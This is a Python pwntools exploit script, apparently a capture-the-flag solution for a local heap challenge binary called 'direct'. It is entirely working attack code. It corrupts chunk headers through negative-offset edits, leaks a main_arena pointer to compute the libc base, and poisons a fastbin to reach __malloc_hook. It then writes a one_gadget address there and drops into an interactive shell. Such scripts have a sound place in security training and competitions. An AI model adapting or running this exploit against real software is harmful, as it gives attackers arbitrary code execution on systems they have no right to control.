from pwn import *
context.log_level = 'debug'

p = process('./direct')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]

def allocate(index,size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter('Index:',str(index))
    p.sendlineafter('Size:',str(size))

def edit(index,offset,size,content):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter('Index:',str(index))
    p.sendlineafter('Offset:',str(offset))
    p.sendlineafter('Size:',str(size))
    p.sendafter('Content:',content)

def show(index):#delete
    p.sendlineafter('Your choice:','3')
    p.sendlineafter('Index:',str(index))

def openfile():
    p.sendlineafter('Your choice:','4')

def closefile():
    p.sendlineafter('Your choice:','5')

#F16
#E69

allocate(0,0x18)
openfile()
closefile()
allocate(1,0x18)
edit(0,-0x08,0x20,p64(0x8061)+b'\n')
show(0)
allocate(0,0x78)
allocate(2,0x18)
edit(2,0,8,'aaaaaaaa\n')
closefile()

p.recvuntil('aaaaa')
main_arena = u64(p.recvn(6).ljust(8,b'\x00')) - 88
libc_offset = main_arena - 0x10 - libc.symbols['__malloc_hook']
one_gadget = libc_offset + onegadget[3]

allocate(3,0x68)
edit(2,-8,8,p64(0x91)+b'\n')
show(2)
allocate(2,0x88)
edit(2,0,0x80,p64(0)*3+p64(0x71)+b'\n')
show(3)
edit(2,0,0x80,p64(0)*3+p64(0x71)+p64(main_arena-0x33)+b'\n')

#gdb.attach(p)

allocate(3,0x68)
allocate(4,0x68)

edit(4,0x13,8,p64(one_gadget))
allocate(5,0x18)
p.interactive()